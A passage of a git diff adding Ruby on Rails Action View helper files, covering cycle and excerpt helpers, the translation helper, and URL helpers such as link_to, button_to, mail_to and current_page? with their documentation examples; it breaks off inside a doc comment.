+      #                {first: 'Emily', middle: 'Shannon', maiden: 'Pike', last: 'Hicks'},
+      #               {first: 'June', middle: 'Dae', last: 'Jones'}]
+      #   <% @items.each do |item| %>
+      #     <tr class="<%= cycle("odd", "even", name: "row_class") -%>">
+      #       <td>
+      #         <% item.values.each do |value| %>
+      #           <%# Create a named cycle "colors" %>
+      #           <span style="color:<%= cycle("red", "green", "blue", name: "colors") -%>">
+      #             <%= value %>
+      #           </span>
+      #         <% end %>
+      #         <% reset_cycle("colors") %>
+      #       </td>
+      #    </tr>
+      #  <% end %>
+      def cycle(first_value, *values)
+        options = values.extract_options!
+        name = options.fetch(:name, "default")
+
+        values.unshift(*first_value)
+
+        cycle = get_cycle(name)
+        unless cycle && cycle.values == values
+          cycle = set_cycle(name, Cycle.new(*values))
+        end
+        cycle.to_s
+      end
+
+      # Returns the current cycle string after a cycle has been started. Useful
+      # for complex table highlighting or any other design need which requires
+      # the current cycle string in more than one place.
+      #
+      #   # Alternate background colors
+      #   @items = [1,2,3,4]
+      #   <% @items.each do |item| %>
+      #     <div style="background-color:<%= cycle("red","white","blue") %>">
+      #       <span style="background-color:<%= current_cycle %>"><%= item %></span>
+      #     </div>
+      #   <% end %>
+      def current_cycle(name = "default")
+        cycle = get_cycle(name)
+        cycle.current_value if cycle
+      end
+
+      # Resets a cycle so that it starts from the first element the next time
+      # it is called. Pass in +name+ to reset a named cycle.
+      #
+      #   # Alternate CSS classes for even and odd numbers...
+      #   @items = [[1,2,3,4], [5,6,3], [3,4,5,6,7,4]]
+      #   <table>
+      #   <% @items.each do |item| %>
+      #     <tr class="<%= cycle("even", "odd") -%>">
+      #         <% item.each do |value| %>
+      #           <span style="color:<%= cycle("#333", "#666", "#999", name: "colors") -%>">
+      #             <%= value %>
+      #           </span>
+      #         <% end %>
+      #
+      #         <% reset_cycle("colors") %>
+      #     </tr>
+      #   <% end %>
+      #   </table>
+      def reset_cycle(name = "default")
+        cycle = get_cycle(name)
+        cycle.reset if cycle
+      end
+
+      class Cycle #:nodoc:
+        attr_reader :values
+
+        def initialize(first_value, *values)
+          @values = values.unshift(first_value)
+          reset
+        end
+
+        def reset
+          @index = 0
+        end
+
+        def current_value
+          @values[previous_index].to_s
+        end
+
+        def to_s
+          value = @values[@index].to_s
+          @index = next_index
+          return value
+        end
+
+        private
+
+          def next_index
+            step_index(1)
+          end
+
+          def previous_index
+            step_index(-1)
+          end
+
+          def step_index(n)
+            (@index + n) % @values.size
+          end
+      end
+
+      private
+        # The cycle helpers need to store the cycles in a place that is
+        # guaranteed to be reset every time a page is rendered, so it
+        # uses an instance variable of ActionView::Base.
+        def get_cycle(name)
+          @_cycles = Hash.new unless defined?(@_cycles)
+          return @_cycles[name]
+        end
+
+        def set_cycle(name, cycle_object)
+          @_cycles = Hash.new unless defined?(@_cycles)
+          @_cycles[name] = cycle_object
+        end
+
+        def split_paragraphs(text)
+          return [] if text.blank?
+
+          text.to_str.gsub(/\r\n?/, "\n").split(/\n\n+/).map! do |t|
+            t.gsub!(/([^\n]\n)(?=[^\n])/, '\1<br />') || t
+          end
+        end
+
+        def cut_excerpt_part(part_position, part, separator, options)
+          return "", "" unless part
+
+          radius   = options.fetch(:radius, 100)
+          omission = options.fetch(:omission, "...")
+
+          part = part.split(separator)
+          part.delete("")
+          affix = part.size > radius ? omission : ""
+
+          part = if part_position == :first
+            drop_index = [part.length - radius, 0].max
+            part.drop(drop_index)
+          else
+            part.first(radius)
+          end
+
+          return affix, part.join(separator)
+        end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/helpers/translation_helper.rb b/actionview/lib/action_view/helpers/translation_helper.rb
new file mode 100644
index 0000000000..75c1161de1
--- /dev/null
+++ b/actionview/lib/action_view/helpers/translation_helper.rb
@@ -0,0 +1,141 @@
+# frozen_string_literal: true
+
+require_relative "tag_helper"
+require "active_support/core_ext/string/access"
+require "i18n/exceptions"
+
+module ActionView
+  # = Action View Translation Helpers
+  module Helpers
+    module TranslationHelper
+      extend ActiveSupport::Concern
+
+      include TagHelper
+
+      included do
+        mattr_accessor :debug_missing_translation, default: true
+      end
+
+      # Delegates to <tt>I18n#translate</tt> but also performs three additional
+      # functions.
+      #
+      # First, it will ensure that any thrown +MissingTranslation+ messages will
+      # be rendered as inline spans that:
+      #
+      # * Have a <tt>translation-missing</tt> class applied
+      # * Contain the missing key as the value of the +title+ attribute
+      # * Have a titleized version of the last key segment as text
+      #
+      # For example, the value returned for the missing translation key
+      # <tt>"blog.post.title"</tt> will be:
+      #
+      #    <span
+      #      class="translation_missing"
+      #      title="translation missing: en.blog.post.title">Title</span>
+      #
+      # This allows for views to display rather reasonable strings while still
+      # giving developers a way to find missing translations.
+      #
+      # If you would prefer missing translations to raise an error, you can
+      # opt out of span-wrapping behavior globally by setting
+      # <tt>ActionView::Base.raise_on_missing_translations = true</tt> or
+      # individually by passing <tt>raise: true</tt> as an option to
+      # <tt>translate</tt>.
+      #
+      # Second, if the key starts with a period <tt>translate</tt> will scope
+      # the key by the current partial. Calling <tt>translate(".foo")</tt> from
+      # the <tt>people/index.html.erb</tt> template is equivalent to calling
+      # <tt>translate("people.index.foo")</tt>. This makes it less
+      # repetitive to translate many keys within the same partial and provides
+      # a convention to scope keys consistently.
+      #
+      # Third, the translation will be marked as <tt>html_safe</tt> if the key
+      # has the suffix "_html" or the last element of the key is "html". Calling
+      # <tt>translate("footer_html")</tt> or <tt>translate("footer.html")</tt>
+      # will return an HTML safe string that won't be escaped by other HTML
+      # helper methods. This naming convention helps to identify translations
+      # that include HTML tags so that you know what kind of output to expect
+      # when you call translate in a template and translators know which keys
+      # they can provide HTML values for.
+      def translate(key, options = {})
+        options = options.dup
+        has_default = options.has_key?(:default)
+        remaining_defaults = Array(options.delete(:default)).compact
+
+        if has_default && !remaining_defaults.first.kind_of?(Symbol)
+          options[:default] = remaining_defaults
+        end
+
+        # If the user has explicitly decided to NOT raise errors, pass that option to I18n.
+        # Otherwise, tell I18n to raise an exception, which we rescue further in this method.
+        # Note: `raise_error` refers to us re-raising the error in this method. I18n is forced to raise by default.
+        if options[:raise] == false
+          raise_error = false
+          i18n_raise = false
+        else
+          raise_error = options[:raise] || ActionView::Base.raise_on_missing_translations
+          i18n_raise = true
+        end
+
+        if html_safe_translation_key?(key)
+          html_safe_options = options.dup
+          options.except(*I18n::RESERVED_KEYS).each do |name, value|
+            unless name == :count && value.is_a?(Numeric)
+              html_safe_options[name] = ERB::Util.html_escape(value.to_s)
+            end
+          end
+          translation = I18n.translate(scope_key_by_partial(key), html_safe_options.merge(raise: i18n_raise))
+
+          translation.respond_to?(:html_safe) ? translation.html_safe : translation
+        else
+          I18n.translate(scope_key_by_partial(key), options.merge(raise: i18n_raise))
+        end
+      rescue I18n::MissingTranslationData => e
+        if remaining_defaults.present?
+          translate remaining_defaults.shift, options.merge(default: remaining_defaults)
+        else
+          raise e if raise_error
+
+          keys = I18n.normalize_keys(e.locale, e.key, e.options[:scope])
+          title = "translation missing: #{keys.join('.')}".dup
+
+          interpolations = options.except(:default, :scope)
+          if interpolations.any?
+            title << ", " << interpolations.map { |k, v| "#{k}: #{ERB::Util.html_escape(v)}" }.join(", ")
+          end
+
+          return title unless ActionView::Base.debug_missing_translation
+
+          content_tag("span", keys.last.to_s.titleize, class: "translation_missing", title: title)
+        end
+      end
+      alias :t :translate
+
+      # Delegates to <tt>I18n.localize</tt> with no additional functionality.
+      #
+      # See http://rubydoc.info/github/svenfuchs/i18n/master/I18n/Backend/Base:localize
+      # for more information.
+      def localize(*args)
+        I18n.localize(*args)
+      end
+      alias :l :localize
+
+      private
+        def scope_key_by_partial(key)
+          if key.to_s.first == "."
+            if @virtual_path
+              @virtual_path.gsub(%r{/_?}, ".") + key.to_s
+            else
+              raise "Cannot use t(#{key.inspect}) shortcut because path is not available"
+            end
+          else
+            key
+          end
+        end
+
+        def html_safe_translation_key?(key)
+          /(\b|_|\.)html$/.match?(key.to_s)
+        end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/helpers/url_helper.rb b/actionview/lib/action_view/helpers/url_helper.rb
new file mode 100644
index 0000000000..2d5aac6dc7
--- /dev/null
+++ b/actionview/lib/action_view/helpers/url_helper.rb
@@ -0,0 +1,654 @@
+# frozen_string_literal: true
+
+require_relative "javascript_helper"
+require "active_support/core_ext/array/access"
+require "active_support/core_ext/hash/keys"
+require "active_support/core_ext/string/output_safety"
+
+module ActionView
+  # = Action View URL Helpers
+  module Helpers #:nodoc:
+    # Provides a set of methods for making links and getting URLs that
+    # depend on the routing subsystem (see ActionDispatch::Routing).
+    # This allows you to use the same format for links in views
+    # and controllers.
+    module UrlHelper
+      # This helper may be included in any class that includes the
+      # URL helpers of a routes (routes.url_helpers). Some methods
+      # provided here will only work in the context of a request
+      # (link_to_unless_current, for instance), which must be provided
+      # as a method called #request on the context.
+      BUTTON_TAG_METHOD_VERBS = %w{patch put delete}
+      extend ActiveSupport::Concern
+
+      include TagHelper
+
+      module ClassMethods
+        def _url_for_modules
+          ActionView::RoutingUrlFor
+        end
+      end
+
+      # Basic implementation of url_for to allow use helpers without routes existence
+      def url_for(options = nil) # :nodoc:
+        case options
+        when String
+          options
+        when :back
+          _back_url
+        else
+          raise ArgumentError, "arguments passed to url_for can't be handled. Please require " \
+                               "routes or provide your own implementation"
+        end
+      end
+
+      def _back_url # :nodoc:
+        _filtered_referrer || "javascript:history.back()"
+      end
+      protected :_back_url
+
+      def _filtered_referrer # :nodoc:
+        if controller.respond_to?(:request)
+          referrer = controller.request.env["HTTP_REFERER"]
+          if referrer && URI(referrer).scheme != "javascript"
+            referrer
+          end
+        end
+      rescue URI::InvalidURIError
+      end
+      protected :_filtered_referrer
+
+      # Creates an anchor element of the given +name+ using a URL created by the set of +options+.
+      # See the valid options in the documentation for +url_for+. It's also possible to
+      # pass a String instead of an options hash, which generates an anchor element that uses the
+      # value of the String as the href for the link. Using a <tt>:back</tt> Symbol instead
+      # of an options hash will generate a link to the referrer (a JavaScript back link
+      # will be used in place of a referrer if none exists). If +nil+ is passed as the name
+      # the value of the link itself will become the name.
+      #
+      # ==== Signatures
+      #
+      #   link_to(body, url, html_options = {})
+      #     # url is a String; you can use URL helpers like
+      #     # posts_path
+      #
+      #   link_to(body, url_options = {}, html_options = {})
+      #     # url_options, except :method, is passed to url_for
+      #
+      #   link_to(options = {}, html_options = {}) do
+      #     # name
+      #   end
+      #
+      #   link_to(url, html_options = {}) do
+      #     # name
+      #   end
+      #
+      # ==== Options
+      # * <tt>:data</tt> - This option can be used to add custom data attributes.
+      # * <tt>method: symbol of HTTP verb</tt> - This modifier will dynamically
+      #   create an HTML form and immediately submit the form for processing using
+      #   the HTTP verb specified. Useful for having links perform a POST operation
+      #   in dangerous actions like deleting a record (which search bots can follow
+      #   while spidering your site). Supported verbs are <tt>:post</tt>, <tt>:delete</tt>, <tt>:patch</tt>, and <tt>:put</tt>.
+      #   Note that if the user has JavaScript disabled, the request will fall back
+      #   to using GET. If <tt>href: '#'</tt> is used and the user has JavaScript
+      #   disabled clicking the link will have no effect. If you are relying on the
+      #   POST behavior, you should check for it in your controller's action by using
+      #   the request object's methods for <tt>post?</tt>, <tt>delete?</tt>, <tt>patch?</tt>, or <tt>put?</tt>.
+      # * <tt>remote: true</tt> - This will allow the unobtrusive JavaScript
+      #   driver to make an Ajax request to the URL in question instead of following
+      #   the link. The drivers each provide mechanisms for listening for the
+      #   completion of the Ajax request and performing JavaScript operations once
+      #   they're complete
+      #
+      # ==== Data attributes
+      #
+      # * <tt>confirm: 'question?'</tt> - This will allow the unobtrusive JavaScript
+      #   driver to prompt with the question specified (in this case, the
+      #   resulting text would be <tt>question?</tt>. If the user accepts, the
+      #   link is processed normally, otherwise no action is taken.
+      # * <tt>:disable_with</tt> - Value of this parameter will be used as the
+      #   name for a disabled version of the link. This feature is provided by
+      #   the unobtrusive JavaScript driver.
+      #
+      # ==== Examples
+      # Because it relies on +url_for+, +link_to+ supports both older-style controller/action/id arguments
+      # and newer RESTful routes. Current Rails style favors RESTful routes whenever possible, so base
+      # your application on resources and use
+      #
+      #   link_to "Profile", profile_path(@profile)
+      #   # => <a href="/profiles/1">Profile</a>
+      #
+      # or the even pithier
+      #
+      #   link_to "Profile", @profile
+      #   # => <a href="/profiles/1">Profile</a>
+      #
+      # in place of the older more verbose, non-resource-oriented
+      #
+      #   link_to "Profile", controller: "profiles", action: "show", id: @profile
+      #   # => <a href="/profiles/show/1">Profile</a>
+      #
+      # Similarly,
+      #
+      #   link_to "Profiles", profiles_path
+      #   # => <a href="/profiles">Profiles</a>
+      #
+      # is better than
+      #
+      #   link_to "Profiles", controller: "profiles"
+      #   # => <a href="/profiles">Profiles</a>
+      #
+      # You can use a block as well if your link target is hard to fit into the name parameter. ERB example:
+      #
+      #   <%= link_to(@profile) do %>
+      #     <strong><%= @profile.name %></strong> -- <span>Check it out!</span>
+      #   <% end %>
+      #   # => <a href="/profiles/1">
+      #          <strong>David</strong> -- <span>Check it out!</span>
+      #        </a>
+      #
+      # Classes and ids for CSS are easy to produce:
+      #
+      #   link_to "Articles", articles_path, id: "news", class: "article"
+      #   # => <a href="/articles" class="article" id="news">Articles</a>
+      #
+      # Be careful when using the older argument style, as an extra literal hash is needed:
+      #
+      #   link_to "Articles", { controller: "articles" }, id: "news", class: "article"
+      #   # => <a href="/articles" class="article" id="news">Articles</a>
+      #
+      # Leaving the hash off gives the wrong link:
+      #
+      #   link_to "WRONG!", controller: "articles", id: "news", class: "article"
+      #   # => <a href="/articles/index/news?class=article">WRONG!</a>
+      #
+      # +link_to+ can also produce links with anchors or query strings:
+      #
+      #   link_to "Comment wall", profile_path(@profile, anchor: "wall")
+      #   # => <a href="/profiles/1#wall">Comment wall</a>
+      #
+      #   link_to "Ruby on Rails search", controller: "searches", query: "ruby on rails"
+      #   # => <a href="/searches?query=ruby+on+rails">Ruby on Rails search</a>
+      #
+      #   link_to "Nonsense search", searches_path(foo: "bar", baz: "quux")
+      #   # => <a href="/searches?foo=bar&amp;baz=quux">Nonsense search</a>
+      #
+      # The only option specific to +link_to+ (<tt>:method</tt>) is used as follows:
+      #
+      #   link_to("Destroy", "http://www.example.com", method: :delete)
+      #   # => <a href='http://www.example.com' rel="nofollow" data-method="delete">Destroy</a>
+      #
+      # You can also use custom data attributes using the <tt>:data</tt> option:
+      #
+      #   link_to "Visit Other Site", "http://www.rubyonrails.org/", data: { confirm: "Are you sure?" }
+      #   # => <a href="http://www.rubyonrails.org/" data-confirm="Are you sure?">Visit Other Site</a>
+      #
+      # Also you can set any link attributes such as <tt>target</tt>, <tt>rel</tt>, <tt>type</tt>:
+      #
+      #   link_to "External link", "http://www.rubyonrails.org/", target: "_blank", rel: "nofollow"
+      #   # => <a href="http://www.rubyonrails.org/" target="_blank" rel="nofollow">External link</a>
+      def link_to(name = nil, options = nil, html_options = nil, &block)
+        html_options, options, name = options, name, block if block_given?
+        options ||= {}
+
+        html_options = convert_options_to_data_attributes(options, html_options)
+
+        url = url_for(options)
+        html_options["href".freeze] ||= url
+
+        content_tag("a".freeze, name || url, html_options, &block)
+      end
+
+      # Generates a form containing a single button that submits to the URL created
+      # by the set of +options+. This is the safest method to ensure links that
+      # cause changes to your data are not triggered by search bots or accelerators.
+      # If the HTML button does not work with your layout, you can also consider
+      # using the +link_to+ method with the <tt>:method</tt> modifier as described in
+      # the +link_to+ documentation.
+      #
+      # By default, the generated form element has a class name of <tt>button_to</tt>
+      # to allow styling of the form itself and its children. This can be changed
+      # using the <tt>:form_class</tt> modifier within +html_options+. You can control
+      # the form submission and input element behavior using +html_options+.
+      # This method accepts the <tt>:method</tt> modifier described in the +link_to+ documentation.
+      # If no <tt>:method</tt> modifier is given, it will default to performing a POST operation.
+      # You can also disable the button by passing <tt>disabled: true</tt> in +html_options+.
+      # If you are using RESTful routes, you can pass the <tt>:method</tt>
+      # to change the HTTP verb used to submit the form.
+      #
+      # ==== Options
+      # The +options+ hash accepts the same options as +url_for+.
+      #
+      # There are a few special +html_options+:
+      # * <tt>:method</tt> - Symbol of HTTP verb. Supported verbs are <tt>:post</tt>, <tt>:get</tt>,
+      #   <tt>:delete</tt>, <tt>:patch</tt>, and <tt>:put</tt>. By default it will be <tt>:post</tt>.
+      # * <tt>:disabled</tt> - If set to true, it will generate a disabled button.
+      # * <tt>:data</tt> - This option can be used to add custom data attributes.
+      # * <tt>:remote</tt> -  If set to true, will allow the Unobtrusive JavaScript drivers to control the
+      #   submit behavior. By default this behavior is an ajax submit.
+      # * <tt>:form</tt> - This hash will be form attributes
+      # * <tt>:form_class</tt> - This controls the class of the form within which the submit button will
+      #   be placed
+      # * <tt>:params</tt> - Hash of parameters to be rendered as hidden fields within the form.
+      #
+      # ==== Data attributes
+      #
+      # * <tt>:confirm</tt> - This will use the unobtrusive JavaScript driver to
+      #   prompt with the question specified. If the user accepts, the link is
+      #   processed normally, otherwise no action is taken.
+      # * <tt>:disable_with</tt> - Value of this parameter will be
+      #   used as the value for a disabled version of the submit
+      #   button when the form is submitted. This feature is provided
+      #   by the unobtrusive JavaScript driver.
+      #
+      # ==== Examples
+      #   <%= button_to "New", action: "new" %>
+      #   # => "<form method="post" action="/controller/new" class="button_to">
+      #   #      <input value="New" type="submit" />
+      #   #    </form>"
+      #
+      #   <%= button_to "New", new_articles_path %>
+      #   # => "<form method="post" action="/articles/new" class="button_to">
+      #   #      <input value="New" type="submit" />
+      #   #    </form>"
+      #
+      #   <%= button_to [:make_happy, @user] do %>
+      #     Make happy <strong><%= @user.name %></strong>
+      #   <% end %>
+      #   # => "<form method="post" action="/users/1/make_happy" class="button_to">
+      #   #      <button type="submit">
+      #   #        Make happy <strong><%= @user.name %></strong>
+      #   #      </button>
+      #   #    </form>"
+      #
+      #   <%= button_to "New", { action: "new" }, form_class: "new-thing" %>
+      #   # => "<form method="post" action="/controller/new" class="new-thing">
+      #   #      <input value="New" type="submit" />
+      #   #    </form>"
+      #
+      #
+      #   <%= button_to "Create", { action: "create" }, remote: true, form: { "data-type" => "json" } %>
+      #   # => "<form method="post" action="/images/create" class="button_to" data-remote="true" data-type="json">
+      #   #      <input value="Create" type="submit" />
+      #   #      <input name="authenticity_token" type="hidden" value="10f2163b45388899ad4d5ae948988266befcb6c3d1b2451cf657a0c293d605a6"/>
+      #   #    </form>"
+      #
+      #
+      #   <%= button_to "Delete Image", { action: "delete", id: @image.id },
+      #                                   method: :delete, data: { confirm: "Are you sure?" } %>
+      #   # => "<form method="post" action="/images/delete/1" class="button_to">
+      #   #      <input type="hidden" name="_method" value="delete" />
+      #   #      <input data-confirm='Are you sure?' value="Delete Image" type="submit" />
+      #   #      <input name="authenticity_token" type="hidden" value="10f2163b45388899ad4d5ae948988266befcb6c3d1b2451cf657a0c293d605a6"/>
+      #   #    </form>"
+      #
+      #
+      #   <%= button_to('Destroy', 'http://www.example.com',
+      #             method: "delete", remote: true, data: { confirm: 'Are you sure?', disable_with: 'loading...' }) %>
+      #   # => "<form class='button_to' method='post' action='http://www.example.com' data-remote='true'>
+      #   #       <input name='_method' value='delete' type='hidden' />
+      #   #       <input value='Destroy' type='submit' data-disable-with='loading...' data-confirm='Are you sure?' />
+      #   #       <input name="authenticity_token" type="hidden" value="10f2163b45388899ad4d5ae948988266befcb6c3d1b2451cf657a0c293d605a6"/>
+      #   #     </form>"
+      #   #
+      def button_to(name = nil, options = nil, html_options = nil, &block)
+        html_options, options = options, name if block_given?
+        options      ||= {}
+        html_options ||= {}
+        html_options = html_options.stringify_keys
+
+        url    = options.is_a?(String) ? options : url_for(options)
+        remote = html_options.delete("remote")
+        params = html_options.delete("params")
+
+        method     = html_options.delete("method").to_s
+        method_tag = BUTTON_TAG_METHOD_VERBS.include?(method) ? method_tag(method) : "".freeze.html_safe
+
+        form_method  = method == "get" ? "get" : "post"
+        form_options = html_options.delete("form") || {}
+        form_options[:class] ||= html_options.delete("form_class") || "button_to"
+        form_options[:method] = form_method
+        form_options[:action] = url
+        form_options[:'data-remote'] = true if remote
+
+        request_token_tag = if form_method == "post"
+          request_method = method.empty? ? "post" : method
+          token_tag(nil, form_options: { action: url, method: request_method })
+        else
+          "".freeze
+        end
+
+        html_options = convert_options_to_data_attributes(options, html_options)
+        html_options["type"] = "submit"
+
+        button = if block_given?
+          content_tag("button", html_options, &block)
+        else
+          html_options["value"] = name || url
+          tag("input", html_options)
+        end
+
+        inner_tags = method_tag.safe_concat(button).safe_concat(request_token_tag)
+        if params
+          to_form_params(params).each do |param|
+            inner_tags.safe_concat tag(:input, type: "hidden", name: param[:name], value: param[:value])
+          end
+        end
+        content_tag("form", inner_tags, form_options)
+      end
+
+      # Creates a link tag of the given +name+ using a URL created by the set of
+      # +options+ unless the current request URI is the same as the links, in
+      # which case only the name is returned (or the given block is yielded, if
+      # one exists). You can give +link_to_unless_current+ a block which will
+      # specialize the default behavior (e.g., show a "Start Here" link rather
+      # than the link's text).
+      #
+      # ==== Examples
+      # Let's say you have a navigation menu...
+      #
+      #   <ul id="navbar">
+      #     <li><%= link_to_unless_current("Home", { action: "index" }) %></li>
+      #     <li><%= link_to_unless_current("About Us", { action: "about" }) %></li>
+      #   </ul>
+      #
+      # If in the "about" action, it will render...
+      #
+      #   <ul id="navbar">
+      #     <li><a href="/controller/index">Home</a></li>
+      #     <li>About Us</li>
+      #   </ul>
+      #
+      # ...but if in the "index" action, it will render:
+      #
+      #   <ul id="navbar">
+      #     <li>Home</li>
+      #     <li><a href="/controller/about">About Us</a></li>
+      #   </ul>
+      #
+      # The implicit block given to +link_to_unless_current+ is evaluated if the current
+      # action is the action given. So, if we had a comments page and wanted to render a
+      # "Go Back" link instead of a link to the comments page, we could do something like this...
+      #
+      #    <%=
+      #        link_to_unless_current("Comment", { controller: "comments", action: "new" }) do
+      #           link_to("Go back", { controller: "posts", action: "index" })
+      #        end
+      #     %>
+      def link_to_unless_current(name, options = {}, html_options = {}, &block)
+        link_to_unless current_page?(options), name, options, html_options, &block
+      end
+
+      # Creates a link tag of the given +name+ using a URL created by the set of
+      # +options+ unless +condition+ is true, in which case only the name is
+      # returned. To specialize the default behavior (i.e., show a login link rather
+      # than just the plaintext link text), you can pass a block that
+      # accepts the name or the full argument list for +link_to_unless+.
+      #
+      # ==== Examples
+      #   <%= link_to_unless(@current_user.nil?, "Reply", { action: "reply" }) %>
+      #   # If the user is logged in...
+      #   # => <a href="/controller/reply/">Reply</a>
+      #
+      #   <%=
+      #      link_to_unless(@current_user.nil?, "Reply", { action: "reply" }) do |name|
+      #        link_to(name, { controller: "accounts", action: "signup" })
+      #      end
+      #   %>
+      #   # If the user is logged in...
+      #   # => <a href="/controller/reply/">Reply</a>
+      #   # If not...
+      #   # => <a href="/accounts/signup">Reply</a>
+      def link_to_unless(condition, name, options = {}, html_options = {}, &block)
+        link_to_if !condition, name, options, html_options, &block
+      end
+
+      # Creates a link tag of the given +name+ using a URL created by the set of
+      # +options+ if +condition+ is true, otherwise only the name is
+      # returned. To specialize the default behavior, you can pass a block that
+      # accepts the name or the full argument list for +link_to_unless+ (see the examples
+      # in +link_to_unless+).
+      #
+      # ==== Examples
+      #   <%= link_to_if(@current_user.nil?, "Login", { controller: "sessions", action: "new" }) %>
+      #   # If the user isn't logged in...
+      #   # => <a href="/sessions/new/">Login</a>
+      #
+      #   <%=
+      #      link_to_if(@current_user.nil?, "Login", { controller: "sessions", action: "new" }) do
+      #        link_to(@current_user.login, { controller: "accounts", action: "show", id: @current_user })
+      #      end
+      #   %>
+      #   # If the user isn't logged in...
+      #   # => <a href="/sessions/new/">Login</a>
+      #   # If they are logged in...
+      #   # => <a href="/accounts/show/3">my_username</a>
+      def link_to_if(condition, name, options = {}, html_options = {}, &block)
+        if condition
+          link_to(name, options, html_options)
+        else
+          if block_given?
+            block.arity <= 1 ? capture(name, &block) : capture(name, options, html_options, &block)
+          else
+            ERB::Util.html_escape(name)
+          end
+        end
+      end
+
+      # Creates a mailto link tag to the specified +email_address+, which is
+      # also used as the name of the link unless +name+ is specified. Additional
+      # HTML attributes for the link can be passed in +html_options+.
+      #
+      # +mail_to+ has several methods for customizing the email itself by
+      # passing special keys to +html_options+.
+      #
+      # ==== Options
+      # * <tt>:subject</tt> - Preset the subject line of the email.
+      # * <tt>:body</tt> - Preset the body of the email.
+      # * <tt>:cc</tt> - Carbon Copy additional recipients on the email.
+      # * <tt>:bcc</tt> - Blind Carbon Copy additional recipients on the email.
+      # * <tt>:reply_to</tt> - Preset the Reply-To field of the email.
+      #
+      # ==== Obfuscation
+      # Prior to Rails 4.0, +mail_to+ provided options for encoding the address
+      # in order to hinder email harvesters.  To take advantage of these options,
+      # install the +actionview-encoded_mail_to+ gem.
+      #
+      # ==== Examples
+      #   mail_to "me@domain.com"
+      #   # => <a href="mailto:me@domain.com">me@domain.com</a>
+      #
+      #   mail_to "me@domain.com", "My email"
+      #   # => <a href="mailto:me@domain.com">My email</a>
+      #
+      #   mail_to "me@domain.com", "My email", cc: "ccaddress@domain.com",
+      #            subject: "This is an example email"
+      #   # => <a href="mailto:me@domain.com?cc=ccaddress@domain.com&subject=This%20is%20an%20example%20email">My email</a>
+      #
+      # You can use a block as well if your link target is hard to fit into the name parameter. ERB example:
+      #
+      #   <%= mail_to "me@domain.com" do %>
+      #     <strong>Email me:</strong> <span>me@domain.com</span>
+      #   <% end %>
+      #   # => <a href="mailto:me@domain.com">
+      #          <strong>Email me:</strong> <span>me@domain.com</span>
+      #        </a>
+      def mail_to(email_address, name = nil, html_options = {}, &block)
+        html_options, name = name, nil if block_given?
+        html_options = (html_options || {}).stringify_keys
+
+        extras = %w{ cc bcc body subject reply_to }.map! { |item|
+          option = html_options.delete(item).presence || next
+          "#{item.dasherize}=#{ERB::Util.url_encode(option)}"
+        }.compact
+        extras = extras.empty? ? "".freeze : "?" + extras.join("&")
+
+        encoded_email_address = ERB::Util.url_encode(email_address).gsub("%40", "@")
+        html_options["href"] = "mailto:#{encoded_email_address}#{extras}"
+
+        content_tag("a".freeze, name || email_address, html_options, &block)
+      end
+
+      # True if the current request URI was generated by the given +options+.
+      #
+      # ==== Examples
+      # Let's say we're in the <tt>http://www.example.com/shop/checkout?order=desc&page=1</tt> action.
+      #
+      #   current_page?(action: 'process')
+      #   # => false
+      #
+      #   current_page?(action: 'checkout')
+      #   # => true
+      #
+      #   current_page?(controller: 'library', action: 'checkout')
+      #   # => false
+      #
+      #   current_page?(controller: 'shop', action: 'checkout')
+      #   # => true
+      #
+      #   current_page?(controller: 'shop', action: 'checkout', order: 'asc')
+      #   # => false
+      #
+      #   current_page?(controller: 'shop', action: 'checkout', order: 'desc', page: '1')
+      #   # => true
+      #
+      #   current_page?(controller: 'shop', action: 'checkout', order: 'desc', page: '2')
+      #   # => false
+      #
+      #   current_page?('http://www.example.com/shop/checkout')
+      #   # => true
+      #
+      #   current_page?('http://www.example.com/shop/checkout', check_parameters: true)
+      #   # => false
+      #
+      #   current_page?('/shop/checkout')
+      #   # => true
+      #
+      #   current_page?('http://www.example.com/shop/checkout?order=desc&page=1')
+      #   # => true
+      #
+      # Let's say we're in the <tt>http://www.example.com/products</tt> action with method POST in case of invalid product.
+      #
+      #   current_page?(controller: 'product', action: 'index')
+      #   # => false
+      #
+      # We can also pass in the symbol arguments instead of strings.
+      #
+      def current_page?(options, check_parameters: false)
+        unless request
+          raise "You cannot use helpers that need to determine the current " \
+                "page unless your view context provides a Request object " \
+                "in a #request method"
+        end
+
+        return false unless request.get? || request.head?
+
+        check_parameters ||= options.is_a?(Hash) && options.delete(:check_parameters)
+        url_string = URI.parser.unescape(url_for(options)).force_encoding(Encoding::BINARY)
+
+        # We ignore any extra parameters in the request_uri if the
+        # submitted url doesn't have any either. This lets the function
+        # work with things like ?order=asc
+        # the behaviour can be disabled with check_parameters: true
+        request_uri = url_string.index("?") || check_parameters ? request.fullpath : request.path
+        request_uri = URI.parser.unescape(request_uri).force_encoding(Encoding::BINARY)
+
+        if url_string.start_with?("/") && url_string != "/"
+          url_string.chomp!("/")
+          request_uri.chomp!("/")
+        end
+
+        if %r{^\w+://}.match?(url_string)
+          url_string == "#{request.protocol}#{request.host_with_port}#{request_uri}"
+        else
+          url_string == request_uri
+        end
+      end
+
+      private
+        def convert_options_to_data_attributes(options, html_options)
+          if html_options
+            html_options = html_options.stringify_keys
+            html_options["data-remote"] = "true".freeze if link_to_remote_options?(options) || link_to_remote_options?(html_options)
+
+            method = html_options.delete("method".freeze)
+
+            add_method_to_attributes!(html_options, method) if method
+
+            html_options
+          else
+            link_to_remote_options?(options) ? { "data-remote" => "true".freeze } : {}
+          end
+        end
+
+        def link_to_remote_options?(options)
+          if options.is_a?(Hash)
+            options.delete("remote".freeze) || options.delete(:remote)
+          end
+        end
+
+        def add_method_to_attributes!(html_options, method)
+          if method && method.to_s.downcase != "get".freeze && html_options["rel".freeze] !~ /nofollow/
+            html_options["rel".freeze] = "#{html_options["rel".freeze]} nofollow".lstrip
+          end
+          html_options["data-method".freeze] = method
+        end
+
+        def token_tag(token = nil, form_options: {})
+          if token != false && protect_against_forgery?
+            token ||= form_authenticity_token(form_options: form_options)
+            tag(:input, type: "hidden", name: request_forgery_protection_token.to_s, value: token)
+          else
+            "".freeze
+          end
+        end
+
+        def method_tag(method)
+          tag("input", type: "hidden", name: "_method", value: method.to_s)
+        end
+
+        # Returns an array of hashes each containing :name and :value keys
+        # suitable for use as the names and values of form input fields:
+        #
+        #   to_form_params(name: 'David', nationality: 'Danish')
+        #   # => [{name: :name, value: 'David'}, {name: 'nationality', value: 'Danish'}]
+        #
+        #   to_form_params(country: {name: 'Denmark'})
+        #   # => [{name: 'country[name]', value: 'Denmark'}]
+        #
